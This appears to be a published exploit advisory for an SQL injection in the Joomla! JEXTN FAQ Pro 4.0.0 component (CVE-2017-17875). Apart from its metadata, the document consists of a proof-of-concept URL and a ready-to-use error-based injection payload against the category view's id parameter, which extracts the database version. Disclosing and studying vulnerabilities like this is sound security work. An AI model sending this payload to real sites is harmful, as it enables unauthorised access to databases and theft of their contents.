Joomla! JEXTN FAQ Pro 4.0.0 SQL Injection

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# Exploit Title: Joomla! Component JEXTN FAQ Pro 4.0.0 - SQL Injection  
# Dork: N/A  
# Date: 24.12.2017  
# Vendor Homepage: http://jextn.com/  
# Software Link: https://extensions.joomla.org/extensions/extension/directory-a-documentation/faq/jextn-faq-pro/  
# Version: 4.0.0  
# Category: Webapps  
# Tested on: WiN7_x64/KaLiLinuX_x64  
# CVE: CVE-2017-17875  
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# Exploit Author: Ihsan Sencan  
# Author Web: http://ihsan.net  
# Author Social: @ihsansencan  
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# Description:  
# The vulnerability allows an attacker to inject sql commands....  
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# Proof of Concept:   
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# 1)  
# http://localhost/[PATH]/index.php?option=com_jefaqpro&view=category&id=[SQL]&Itemid=494  
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# 11+OR+1+GROUP+BY+CONCAT_WS(0x3a,0x496873616e53656e63616e,VERSION(),FLOOR(RAND(0)*2))+HAVING+MIN(0)+OR+1  
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